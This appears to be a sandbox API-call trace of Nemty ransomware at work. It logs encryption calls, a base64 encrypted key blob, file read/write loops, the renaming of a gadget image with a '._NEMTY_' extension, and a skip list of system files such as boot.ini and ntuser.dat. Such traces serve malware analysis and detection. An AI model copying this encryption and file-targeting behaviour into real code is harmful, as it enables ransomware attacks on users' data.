0x4f9ecb8 [0140.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0140.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0140.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0140.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0140.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0140.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0140.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0140.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0140.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0140.771] Sleep (dwMilliseconds=0x5) [0140.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x78dbcb0, dwHighDateTime=0x1d561e8)) [0140.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x78dbcb0, dwHighDateTime=0x1d561e8)) [0140.781] GetLastError () returned 0x5 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.782] GetLastError () returned 0x5 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.782] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.782] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.782] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0140.782] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="8DmVjL9z4ADfxIQgwukPfrZ99vsBZv/8nXfHEBXsrT/1A151+eMSC+wl1ssIJfTC\r\n47i7S/C7YU8qTCyX3zyVOaGxzXQrRx8kOeSE3+XrL9UlBSE8YQYrXCNrqH3uZ4vY\r\nndiF+d2k4VFcwf42a6bCIG0pvNc7li3mdxRMICTHvTsvVk7ovP73hspEv573B8Jy\r\nsLfUIRBPf5F6bsjJAdwo3jT7t5FZI038FcgnhOc8AFNA9tHeuftwGaCBCOyYotXK\r\nt+nExt+jSX3n+/AdnTFu84RBZtaeZ/ML7/BC6UZ6XHMNjX2KGOOTgOxEO25/6J9r\r\nVbdd8lxEs6ZllHM0lL71hA==\r\n", pcchString=0x653e91c) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.782] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.782] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.895] CloseHandle (hObject=0xffffffff) returned 0 [0140.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0140.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0140.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png._nemty_kgobjgd_")) returned 0 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.896] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="..") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="...") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="windows") returned -1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="rsa") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="NTDETECT.COM") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="ntldr") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="MSDOS.SYS") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="IO.SYS") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="boot.ini") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="boot.ini") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="ntuser.dat") returned 1 [0140.896] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="desktop.ini") returned 1 [0140.897] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="CONFIG.SYS") returned 1 [0140.897] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="RECYCLER") returned 1 [0140.897] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0140.897] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="bootmgr") returned 1 [0140.897] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="programdata") returned 1 [0140.897] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="appdata") returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0140.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | 